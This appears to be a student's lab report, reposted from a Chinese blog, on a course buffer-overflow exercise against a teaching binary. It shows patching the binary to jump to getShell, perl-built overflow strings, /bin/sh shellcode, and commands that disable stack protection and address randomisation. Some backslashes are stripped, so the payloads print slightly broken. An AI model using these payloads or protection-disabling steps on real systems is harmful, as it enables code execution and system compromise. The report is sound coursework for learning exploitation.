zoukankan      html  css  js  c++  java
  • 2018-2019-2 20165313《网络对抗技术》Exp1 缓冲区溢出实验

    实践涉及指令

    NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
    JNE:条件转移指令,如果不相等则跳转。(机器码:75)
    JE:条件转移指令,如果相等则跳转。(机器码:74)
    JMP:无条件转移指令。段内直接短转Jmp
    CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    实践内容

    本次实践的对象是一个名为pwn1的linux可执行文件。
    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode.。

    三个实践内容如下:

        手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
        利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
        注入一个自己制作的shellcode并运行这段shellcode。
    

    这几种思路,基本代表现实情况中的攻击目标:

        运行原本不可访问的代码片段
        强行修改程序执行流
        以及注入运行任意代码。
    

    实践过程 (以下所示图片都是实践过程中截图,故并无特别标识)

    实践一:直接修改程序机器指令,改变程序执行流程

    (1)通过objdump -d pwn1对文件进行反汇编,并获得需要的三个信息,如下图:

    (2)通过上图可看出,想要直接调用getShell,则需要将main函数中指向foo的地址改变为指向getShell的地址,则通过计算确定修改项 d7,改为c3即可。修改方式和结果如下:


    (3)运行结果如图所示:

    注意在16进制文件中寻找e8d7时,应该逐条寻找,即看到e8 就应该观察不然会直接跳到文末无法找到对应值。

    实践二:通过构造输入参数,造成BOF攻击,改变程序执行流

    (1)通过gdb调试,判断那几个字节覆盖到后面的指令。

    由图可知,eip的值为ASCII 5,所以覆盖的字节在后8字节。
    (2)确定构造字序。

    由图可看出,覆盖顺序为4321。

    (3)构造字符串:因为键盘无法输入16进制数,所以使用prel方法,将getShell的内存地址写入输入字符串中
    perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input

    实践三:注入Shellcode并执行(此步骤时出了一点问题,源文件夹不可用,所以换了一个文件夹)

    (1)首先使用 apt-get install execstack 命令安装execstack。 然后接连输入:

    execstack -s pwn2016513    //设置堆栈可执行
    execstack -q pwn2016513    //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space 
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space 
    

    (2)构造一个字符串:

    ~# perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    

    作为测试输入。

    (3)输入

     (cat input_shellcode;cat) | ./pwn1 
    

    (4)打开另一个终端。

    ps -ef | grep pwn
    

    查询进程号,并使用attach命令调试(在gdb中)

    (5)修改输入字符串:
    由教程可知应该用

    retaddr+nops+shellcode
    

    方式注入
    由上图可看出esp为oxffffd21c,则其下一个地址0xffffd220就是所需地址。
    修改命令如下:

    perl -e 'print "A" x 32;print "x20xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    
    

    (6)运行
    ```(cat input_shellcode;cat)|./pwn20165313``
    如下图:

    实践中的问题:

    E: 无法获得锁 /var/lib/dpkg/lock - open (11: 资源临时不可用)
    E: 无法对管理目录(/var/lib/dpkg/)加锁,是不是另一个包管理程序在使用它?

    解决方案:
    sudo rm /var/cache/apt/archives/lock
    sudo rm /var/lib/dpkg/lock

    实践收获与感悟

    本次实践我参考了 https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_逆向与Bof基础.md 和学长的报告来做的,初步了解了怎么去利用Bof漏洞,怎么简易地修改和注入shellcode等一系列相关知识。收获很大,但要学的还是很多。

    实践问题回答:

    什么是漏洞,漏洞的危害是什么?

    百度百科:漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
    自我理解:在我看来,漏洞就相当于人的性格上的缺陷(或者可以说是缺乏理智的时候)一样,虽然平时不会被注意,但一旦被发现并加以利用,就有可能造成严重后果(比如贪财的大爷大妈被骗钱)。而漏洞一旦被人利用,计算机就会在我们不知道的情况下泄露我们的隐私或者需要的计算机资源被破坏,就想那些被骗子牵着鼻子走的受害人一样,在自我未察觉的情况下,蒙受了巨大的损失。

  • 相关阅读:
    Java基础08 继承
    Java基础07 包
    Java基础06 组合
    Java基础05 实施接口
    Java基础04 封装与接口
    Java基础03 构造器与方法重载
    Java基础02 方法与数据成员
    Java基础01 从HelloWorld到面向对象
    151. Reverse Words in a String
    168. Excel Sheet Column Title
  • 原文地址:https://www.cnblogs.com/zch123456/p/10501625.html
Copyright © 2011-2022 走看看